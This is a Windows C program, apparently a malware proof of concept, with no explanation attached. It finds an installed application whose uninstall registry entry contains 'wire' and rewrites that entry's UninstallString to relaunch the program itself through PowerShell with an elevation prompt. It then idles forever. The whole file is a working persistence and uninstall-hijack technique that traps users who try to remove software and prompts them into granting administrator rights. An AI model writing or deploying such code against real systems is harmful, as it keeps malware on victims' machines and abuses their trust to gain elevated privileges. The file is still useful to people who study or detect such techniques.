#include <windows.h>
#include <stdio.h>

#define WCHAR_MAXPATH (MAX_PATH * sizeof(WCHAR))

DWORD ModifyUninstallString(VOID);

int main(VOID)
{
	DWORD dwReturn = ERROR_SUCCESS;
	dwReturn = ModifyUninstallString();

	if (dwReturn != ERROR_SUCCESS && dwReturn != ERROR_FILE_EXISTS)
	{
		return dwReturn;
	}


	while (TRUE)
	{
		Sleep(1000);
	}

	return ERROR_SUCCESS;
}


DWORD ModifyUninstallString(VOID)
{
	HKEY hKey = HKEY_CURRENT_USER;
	WCHAR lpSubKey[WCHAR_MAXPATH] = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall";
	HKEY  hOpenKey = NULL;
	HKEY  phkResult;
	DWORD dwSubKeys;
	DWORD dwReservedError = ERROR_SUCCESS;
	PWCHAR lpUninstallString = NULL;


	if (RegOpenKeyEx(hKey, lpSubKey, 0, KEY_ALL_ACCESS, &phkResult) != ERROR_SUCCESS)
	{
		return GetLastError();
	}

	if (RegQueryInfoKey(phkResult, NULL, NULL, NULL, &dwSubKeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
	{
		goto EXIT_ROUTINE;
	}

	for (DWORD i = 0; i < dwSubKeys; i++)
	{
		DWORD Enum;
		WCHAR lpName[WCHAR_MAXPATH] = { 0 };
		WCHAR lpFullName[WCHAR_MAXPATH] = { 0 };
		DWORD lpcchName = WCHAR_MAXPATH;
		hOpenKey = 0;
		WCHAR bValue[WCHAR_MAXPATH] = { 0 };
		WCHAR pvData[2048] = { 0 };
		WCHAR wModulePath[WCHAR_MAXPATH] = { 0 };
		

		Enum = RegEnumKeyExW(phkResult, i, lpName, &lpcchName, NULL, NULL, NULL, NULL);

		if (Enum != ERROR_SUCCESS && Enum != ERROR_NO_MORE_ITEMS)
		{
			goto EXIT_ROUTINE;
		}

		if (wcsstr(lpName, L"wire") != NULL)
		{
			
			if (RegOpenKeyEx(phkResult, lpName, 0, KEY_ALL_ACCESS, &hOpenKey) != ERROR_SUCCESS)
			{
				goto EXIT_ROUTINE;
			}

			Enum = 2048;


			if (RegGetValue(hOpenKey, NULL, L"UninstallString", RRF_RT_REG_SZ, NULL, pvData, &Enum) != ERROR_SUCCESS)
			{
				goto EXIT_ROUTINE;
			}

			if (GetModuleFileName(NULL, bValue, WCHAR_MAXPATH) == 0)
			{
				goto EXIT_ROUTINE;
			}

			lpUninstallString = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, WCHAR_MAXPATH);
			if (lpUninstallString == NULL)
			{
				goto EXIT_ROUTINE;
			}

			swprintf(lpUninstallString, L"powershell.exe start-process %ws -verb runas", bValue);


			if (wcscmp(lpUninstallString, pvData) == ERROR_SUCCESS)
			{
				if (phkResult)
				{
					RegCloseKey(phkResult);
				}

				if (hOpenKey)
				{
					RegCloseKey(hOpenKey);
				}

				if (lpUninstallString)
				{
					HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpUninstallString);
				}

				return ERROR_FILE_EXISTS;
			}

			if (RegSetValueEx(hOpenKey, L"UninstallString", 0, REG_SZ, (PBYTE)lpUninstallString, (wcslen(lpUninstallString) * sizeof(WCHAR))) != ERROR_SUCCESS)
			{
				goto EXIT_ROUTINE;
			}

			if (hOpenKey)
			{
				RegCloseKey(hOpenKey);
			}

			break;
		}

	}

	if (lpUninstallString)
	{
		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpUninstallString);
	}

	if (phkResult)
	{
		RegCloseKey(phkResult);
	}

	return ERROR_SUCCESS;

EXIT_ROUTINE:

	dwReservedError = GetLastError();

	if (phkResult)
	{
		RegCloseKey(phkResult);
	}

	if (hOpenKey)
	{
		RegCloseKey(hOpenKey);
	}

	if (lpUninstallString)
	{
		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, lpUninstallString);
	}

	return dwReservedError;
}
